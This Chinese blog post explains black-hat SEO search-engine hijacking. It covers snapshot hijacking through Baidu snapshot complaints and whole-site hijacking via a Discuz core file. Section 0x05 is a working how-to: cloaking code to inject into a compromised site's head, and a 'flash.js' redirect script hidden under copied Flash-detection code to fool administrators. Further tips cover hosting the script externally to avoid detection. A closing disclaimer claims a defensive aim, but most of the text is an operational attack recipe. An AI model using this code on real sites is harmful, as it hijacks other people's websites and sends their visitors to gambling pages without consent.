Loading
0

黑帽SEO引擎劫持快照劫持全站劫持技术

0x00 前言

我们在网上冲浪的时候,对着浏览器搜索某些内容,总是能见到许多正常的网站首页或者是网站的文章,遭到篡改,从百度打开之后会自动跳转到博彩,棋牌等站点,而正常的从浏览框输入网址却不会跳转,这就是所谓的黑帽SEO的引擎劫持。

0x01 引擎劫持例子

0x02 根据现有例子推导

在研究代码时出现了两种模式,第一种是title(标题),keywords(关键词)与description(描述)都没有编码的。

第二种是title(标题),keywords(关键词)与description(描述)都进行编码的。

后来笔者了解到这种编码是Unicode,Unicode在线转换:http://tool.oschina.net/encode

编码主要是为了防止所加的内容被管理员发现清除,为了劫持的稳定性,但是在快照投诉,快照更新没有不编码更新的快。

笔者在研究的时候,这样一段js代码引起了我的注意

<script LANGUAGE=\"Javascript\">
var s=document.referrer
if(s.indexOf(\"baidu\")>0 || s.indexOf(\"sogou\")>0 || s.indexOf(\"soso\")>0 ||s.indexOf(\"sm\")>0 ||s.indexOf(\"uc\")>0 ||s.indexOf(\"bing\")>0 ||s.indexOf(\"yahoo\")>0 ||s.indexOf(\"so\")>0 )
location.href=\"http://www.ychack.com\";
</script>

这段代码的作用是判断来路,如果是从搜索引擎进的本站,会自动跳转到指定链接。

0x03 快照劫持

快照劫持是指在快照投诉以后,快照更新成功。目标网站上了自己指定的标题,关键词与描述,就算管理员已经发现网站被加入了这些代码,删除之后,从百度进入依然会跳转到指定站,这保证了劫持了稳定性。

今天是7月20日,而上述例子中的快照是7月17日,当我们去看网站源代码时候,已经没有留下任何黑帽SEO代码,危险代码均被删除,但从百度访问依旧会跳转到目标站点。从而保证了流量进入目标站点的稳定性,这个就是快照劫持。

一般有两种方法提交快照投诉。

第一种是直接点百度快照然后再点击快照投诉:

第二种从百度快照投诉入口进行快照投诉:http://tousu.baidu.com/webmaster/add

0x04 全站劫持

所谓的全站劫持,就是让目标站点所有文章都加入黑帽seo代码,这个要靠经验,笔者曾经在一个朋友曾经开的Discuz站被全站劫持过,site之后所有内容都是菠菜相关的,笔者发现source/class/class_core.php中被加入黑帽SEO代码,而所有文章查看源代码均发现有黑帽seo代码,这个class_core.php文件控制全站的头部,所以整站被劫持了。黑帽seo主要靠经验,方法都是死的。

0x05 完整的黑帽SEO流程

笔者推导出过程后,开始尝试,首先为了隐藏,选择从外部引入js代码,因为在导入js文件到某个文件夹的时候,文件夹会显示最近更新时间,会被管理员发现。可以随便选择一个稳定的空间做外链,例如阿里云Eos,七牛云等等。

在站点head标题中插入以下黑帽seo引擎劫持代码

<script>if(navigator.userAgent.toLocaleLowerCase().indexOf("baidu") == -1){document.title ="目标站的标题"}</script>  //目标站原本的标题,直接输入网址进入网站标题才不会变,也是为了隐藏
<title>你要做的标题</title>
<meta name="keywords" content="你要做的词"/>
<meta name="description" content="你要做的描述"/>
<script language="javascript" type="text/javascript" src="/这边是你的跳转代码/flash.js" ></script>  //SEO跳转代码

为了防止被管理员发现,标题,关键词与描述最好用Unicode编码一下,Unicode在线转换:http://tool.oschina.net/encode  关键词之间用逗号隔开。

笔者为了更好的隐藏,对跳转代码进行了加工,命名为flash.js

<!--
//v1.7
// Flash Player Version Detection
// Detect Client Browser type
// Copyright 2005-2008 Adobe Systems Incorporated. All rights reserved.
var isIE = (navigator.appVersion.indexOf("MSIE") != -1) ? true : false;
var isWin = (navigator.appVersion.toLowerCase().indexOf("win") != -1) ? true : false;
var isOpera = (navigator.userAgent.indexOf("Opera") != -1) ? true : false;
function ControlVersion()
{
var version;
	var axo;
	var e;
	// NOTE : new ActiveXObject(strFoo) throws an exception if strFoo isn't in the registry
	try {
		// version will be set for 7.X or greater players
		axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.7");
		version = axo.GetVariable("$version");
	} catch (e) {
	}
	if (!version)
	{
		try {
			// version will be set for 6.X players only
			axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.6");
			
			// installed player is some revision of 6.0
			// GetVariable("$version") crashes for versions 6.0.22 through 6.0.29,
			// so we have to be careful. 
			
			// default to the first public version
			version = "WIN 6,0,21,0";
			// throws if AllowScripAccess does not exist (introduced in 6.0r47)		
			axo.AllowScriptAccess = "always";
			// safe to call for 6.0r47 or greater
			version = axo.GetVariable("$version");
		} catch (e) {
		}
	}
	if (!version)
	{
		try {
			// version will be set for 4.X or 5.X player
			axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.3");
			version = axo.GetVariable("$version");
		} catch (e) {
		}
	}
	if (!version)
	{
		try {
			// version will be set for 3.X player
			axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.3");
			version = "WIN 3,0,18,0";
		} catch (e) {
		}
	}
	if (!version)
	{
		try {
			// version will be set for 2.X player
			axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash");
			version = "WIN 2,0,0,11";
		} catch (e) {
			version = -1;
		}
	}
	
	return version;
}
// JavaScript helper required to detect Flash Player PlugIn version information
function GetSwfVer(){
	// NS/Opera version >= 3 check for Flash plugin in plugin array
	var flashVer = -1;
	
	if (navigator.plugins != null && navigator.plugins.length > 0) {
		if (navigator.plugins["Shockwave Flash 2.0"] || navigator.plugins["Shockwave Flash"]) {
			var swVer2 = navigator.plugins["Shockwave Flash 2.0"] ? " 2.0" : "";
			var flashDescription = navigator.plugins["Shockwave Flash" + swVer2].description;
			var descArray = flashDescription.split(" ");
			var tempArrayMajor = descArray[2].split(".");			
			var versionMajor = tempArrayMajor[0];
			var versionMinor = tempArrayMajor[1];
			var versionRevision = descArray[3];
			if (versionRevision == "") {
				versionRevision = descArray[4];
			}
			if (versionRevision[0] == "d") {
				versionRevision = versionRevision.substring(1);
			} else if (versionRevision[0] == "r") {
				versionRevision = versionRevision.substring(1);
				if (versionRevision.indexOf("d") > 0) {
					versionRevision = versionRevision.substring(0, versionRevision.indexOf("d"));
				}
			}
			var flashVer = versionMajor + "." + versionMinor + "." + versionRevision;
		}
	}
	// MSN/WebTV 2.6 supports Flash 4
	else if (navigator.userAgent.toLowerCase().indexOf("webtv/2.6") != -1) flashVer = 4;
	// WebTV 2.5 supports Flash 3
	else if (navigator.userAgent.toLowerCase().indexOf("webtv/2.5") != -1) flashVer = 3;
	// older WebTV supports Flash 2
	else if (navigator.userAgent.toLowerCase().indexOf("webtv") != -1) flashVer = 2;
	else if ( isIE && isWin && !isOpera ) {
		flashVer = ControlVersion();
	}	
	return flashVer;
}
// When called with reqMajorVer, reqMinorVer, reqRevision returns true if that version or greater is available
function DetectFlashVer(reqMajorVer, reqMinorVer, reqRevision)
{
	versionStr = GetSwfVer();
	if (versionStr == -1 ) {
		return false;
	} else if (versionStr != 0) {
		if(isIE && isWin && !isOpera) {
			// Given "WIN 2,0,0,11"
			tempArray         = versionStr.split(" "); 	// ["WIN", "2,0,0,11"]
			tempString        = tempArray[1];			// "2,0,0,11"
			versionArray      = tempString.split(",");	// ['2', '0', '0', '11']
		} else {
			versionArray      = versionStr.split(".");
		}
		var versionMajor      = versionArray[0];
		var versionMinor      = versionArray[1];
		var versionRevision   = versionArray[2];
        	// is the major.revision >= requested major.revision AND the minor version >= requested minor
		if (versionMajor > parseFloat(reqMajorVer)) {
			return true;
		} else if (versionMajor == parseFloat(reqMajorVer)) {
			if (versionMinor > parseFloat(reqMinorVer))
				return true;
			else if (versionMinor == parseFloat(reqMinorVer)) {
				if (versionRevision >= parseFloat(reqRevision))
					return true;
			}
		}
		return false;
	}
}
function AC_AddExtension(src, ext)
{
  if (src.indexOf('?') != -1)
    return src.replace(/\?/, ext+'?'); 
  else
    return src + ext;
}
function AC_Generateobj(objAttrs, params, embedAttrs) 
{ 
  var str = '';
  if (isIE && isWin && !isOpera)
  {
    str += '<object '; for (var i in objAttrs) { str += i + '="' + objAttrs[i] + '" '; } str += '>';    for (var i in params)    {      str += ' ';    }    str += '';
  }
  else
  {
    str += '<embed '; for (var i in embedAttrs) { str += i + '="' + embedAttrs[i] + '" '; } str += '> ';
  }
  document.write(str);
}
function AC_FL_RunContent(){
  var ret = 
    AC_GetArgs
    (  arguments, ".swf", "movie", "clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"
     , "application/x-shockwave-flash"
    );
  AC_Generateobj(ret.objAttrs, ret.params, ret.embedAttrs);
}
function AC_SW_RunContent(){
  var ret = 
    AC_GetArgs
    (  arguments, ".dcr", "src", "clsid:166B1BCA-3F9C-11CF-8075-444553540000"
     , null
    );
  AC_Generateobj(ret.objAttrs, ret.params, ret.embedAttrs);
}
function AC_GetArgs(args, ext, srcParamName, classid, mimeType){
  var ret = new Object();
  ret.embedAttrs = new Object();
  ret.params = new Object();
  ret.objAttrs = new Object();
  for (var i=0; i < args.length; i=i+2){
    var currArg = args[i].toLowerCase();    
    switch (currArg){	
      case "classid":
        break;
      case "pluginspage":
        ret.embedAttrs[args[i]] = args[i+1];
        break;
      case "src":
      case "movie":	
        args[i+1] = AC_AddExtension(args[i+1], ext);
        ret.embedAttrs["src"] = args[i+1];
        ret.params[srcParamName] = args[i+1];
        break;
      case "onafterupdate":
      case "onbeforeupdate":
      case "onblur":
      case "oncellchange":
      case "onclick":
      case "ondblclick":
      case "ondrag":
      case "ondragend":
      case "ondragenter":
      case "ondragleave":
      case "ondragover":
      case "ondrop":
      case "onfinish":
      case "onfocus":
      case "onhelp":
      case "onmousedown":
      case "onmouseup":
      case "onmouseover":
      case "onmousemove":
      case "onmouseout":
      case "onkeypress":
      case "onkeydown":
      case "onkeyup":
      case "onload":
      case "onlosecapture":
      case "onpropertychange":
      case "onreadystatechange":
      case "onrowsdelete":
      case "onrowenter":
      case "onrowexit":
      case "onrowsinserted":
      case "onstart":
      case "onscroll":
      case "onbeforeeditfocus":
      case "onactivate":
      case "onbeforedeactivate":
      case "ondeactivate":
      case "type":
      case "codebase":
      case "id":
        ret.objAttrs[args[i]] = args[i+1];
        break;
      case "width":
      case "height":
      case "align":
      case "vspace": 
      case "hspace":
      case "class":
      case "title":
      case "accesskey":
      case "name":
      case "tabindex":
        ret.embedAttrs[args[i]] = ret.objAttrs[args[i]] = args[i+1];
        break;
      default:
        ret.embedAttrs[args[i]] = ret.params[args[i]] = args[i+1];
    }
  }
  ret.objAttrs["classid"] = classid;
  if (mimeType) ret.embedAttrs["type"] = mimeType;
  return ret;
}
// -->
var ref=document.referrer;
var baidu=ref.indexOf("baidu");
var soso=ref.indexOf("soso");
var google=ref.indexOf("google");
var sogou=ref.indexOf("sogou");
var s360=ref.indexOf("360.cn");
var s3602=ref.indexOf("so.com");
var sbing=ref.indexOf("bing.cn");
if(baidu!=-1 || soso!=-1 || google!=-1 || sogou!=-1 || s360!=-1 || s3602!=-1 || sbing!=-1){

 this_url = 'http://www.ychack.com';
  window.top.location.replace(this_url);
  window.location.href=this_url;
}

前面的很长一大段人畜无害的代码没有任何软用,只要用来混淆视线。最后的几段才是seo代码。把链接改成要跳转的站就行。

接着提交百度快照投诉,百度快照投诉入口进行快照投诉:http://tousu.baidu.com/webmaster/add

随后就是耐心的等待。

0x06 经验总结

Unicode编码后的标题,关键词,描述更容易隐藏,但是快照投诉后更新会很慢。

跳转代码不要直接写进一个页面里,也不要导入到站点文件夹。文件夹最近更新时间会泄露你的文件位置。跳转代码的js文件最好外联引用。

全站劫持投诉快照可以达到霸屏效果,但是要看站点质量与网站系统,主要还是靠经验。

声明:

本文的发布旨在希望更多站长了解黑帽SEO,从而在网站被黑客做了黑帽SEO后可以有头绪有出路修复。

本人非常不推崇引擎劫持,随时面临引擎K站。

任何违反法律行为,均与本站无关,请不要说技术是从本站学来的,我们不背锅。

本文由A1d4m's blog(www.ychack.com)提供,文章原创版权所有,转载请注明!